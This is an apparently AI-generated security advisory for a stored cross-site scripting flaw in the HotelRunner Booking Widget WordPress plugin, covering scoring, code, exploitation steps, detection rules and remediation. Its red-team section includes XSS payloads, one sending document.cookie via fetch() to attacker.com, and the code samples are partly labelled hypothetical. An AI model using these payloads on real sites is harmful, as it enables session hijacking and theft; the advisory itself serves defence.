CVE-2025-13135

Executive Summary

CVE-2025-13135 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the HotelRunner Booking Widget plugin for WordPress, up to and including version 5.2.4. The flaw resides in the plugin's hotelrunner shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts into pages. When a user visits an affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access but can be exploited by low-privilege users. The impact is limited to data theft and content manipulation, but the lack of user interaction makes it easier to exploit.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The hotelrunner shortcode is used to embed booking widgets. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., title, class, style) before rendering them in the HTML output. An attacker with Contributor-level access can create or edit a post/page and insert the shortcode with malicious payloads in the attributes.

Example vulnerable shortcode usage:

[hotelrunner title="<script>alert('XSS')</script>"]

When the page is rendered, the title attribute is output without escaping, causing the script to execute. The vulnerability is stored in the database, so any user visiting the page triggers the payload.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.2.4): The plugin likely uses echo or print directly with user input without escaping.

function hotelrunner_shortcode($atts) {
    $atts = shortcode_atts(array('title' => ''), $atts);
    echo '<div class="hotelrunner-widget" title="' . $atts['title'] . '">...</div>';
}

Patched Code (Hypothetical): The patched version would use esc_attr() or wp_kses() to sanitize output.

function hotelrunner_shortcode($atts) {
    $atts = shortcode_atts(array('title' => ''), $atts);
    echo '<div class="hotelrunner-widget" title="' . esc_attr($atts['title']) . '">...</div>';
}

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress instance with HotelRunner Booking Widget <= 5.2.4, an account with Contributor-level access.
2. Steps:
   • Log in as a Contributor.
   • Create a new post or page.
   • Insert the shortcode with a malicious payload in an attribute, e.g.:

     [hotelrunner title="<img src=x onerror=alert('XSS')>"]
     

   • Publish the post.
   • Any user visiting the post will see the alert box (or execute arbitrary JavaScript).

Advanced Payload Example:

[hotelrunner title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team

1. Detection: Monitor for shortcode usage with suspicious attributes. Look for patterns like <script, onerror, onload, javascript: in post content.
2. Prevention:
   • Update the plugin to a patched version (if available).
   • Use a Web Application Firewall (WAF) to block XSS payloads.
   • Restrict Contributor-level access to trusted users only.
3. Hunting: Search the database for posts containing [hotelrunner and inspect the attributes for malicious code.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/hotelrunner-booking-widget/ (presence of vulnerable version)
• Database: Posts/pages containing shortcode [hotelrunner with attributes containing <script>, onerror, onload, javascript:, or base64-encoded payloads.
• Logs: HTTP requests to /wp-admin/post.php or /wp-admin/post-new.php with shortcode parameters.
• Network: Outbound connections to attacker-controlled domains from WordPress admin or frontend.

Detection Engineering

YARA Rule

rule CVE_2025_13135_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13135"
    strings:
        $shortcode = /\[hotelrunner\s+[^\]]*?(<script|onerror|onload|javascript:)/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2025-13135 Stored XSS via HotelRunner Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Stored XSS in HotelRunner Booking Widget
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.url|contains: 
            - "[hotelrunner"
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13135 Stored XSS via HotelRunner Shortcode"; flow:to_server,established; content:"[hotelrunner"; nocase; pcre:"/\[hotelrunner\s+[^\]]*?(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate:
   • Disable the HotelRunner Booking Widget plugin until a patch is available.
   • Review and sanitize all existing posts/pages containing the shortcode.
2. Short-term:
   • Apply input validation and output escaping to the shortcode attributes (use esc_attr(), wp_kses()).
   • Restrict Contributor-level access to only trusted users.
3. Long-term:
   • Monitor the plugin vendor for an official patch.
   • Implement a Content Security Policy (CSP) to mitigate XSS impact.
   • Conduct regular security audits of WordPress plugins.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.